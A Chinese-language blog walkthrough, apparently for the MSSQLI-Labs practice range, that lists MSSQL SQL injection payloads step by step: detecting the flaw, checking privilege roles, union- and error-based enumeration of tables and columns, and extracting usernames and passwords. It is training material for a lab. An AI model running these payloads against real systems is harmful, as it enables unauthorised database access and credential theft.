MSSQLILABS靶场通关攻略

判断注入

首先用单双引号判断是否存在注入,这里可以看到是单引号

判断是否为 MSSQL 数据库

可以通过以下Payload来探测当前站点是否是MSSQL数据库,正常执行说明后台数据库为MSSQL;也可以根据页面的报错信息来判断数据库

' and exists( select * from sysobjects ) --

' and exists(select count( * ) from sysobjects)--

也可以通过以下SQL语句来判断注入点权限 

' and exists(select is_srvrolemember('sysadmin')) --        判断当前是否为sa

' and exists(select is_srvrolemember('db_owner')) --        判断当前用户读\写文件的权限

查询数据库信息

user回显的dbo为最高权限,普通权限显示的是用户名

' union select 1,user,is_srvrolemember('public') --        查用户

id=-1' union select 1,db_name,is_srvrolemember('public') --        查数据库名

id=-1' union select 1,@@version,is_srvrolemember('public') --       查版本信息  

获取目标站点的表信息

这里需要我们去进行猜测有哪些表,可以用到以下语句

'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f
rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order b
y id desc)=1--
查第二张表
'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !=' users ')--
第三张
'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !=' users ' and name !=' emails ')--
第四张
'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !=' users ' and name !=' emails ' and name !=' uagents ')--

通过payload语句爆出表的所有字段信息

having 1=1--
'group by 字段名 1 having 1=1--
'group by 字段名 1 ,字段名 2 having 1=1--

爆破字段值

查看回显字段

'union select 1,2,3 from users --

查看字段内容

union all select 1,(select top 1 username from users),' 3 '--
union all select 1,2,(select top 1 password from users)--

 

  • 14
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值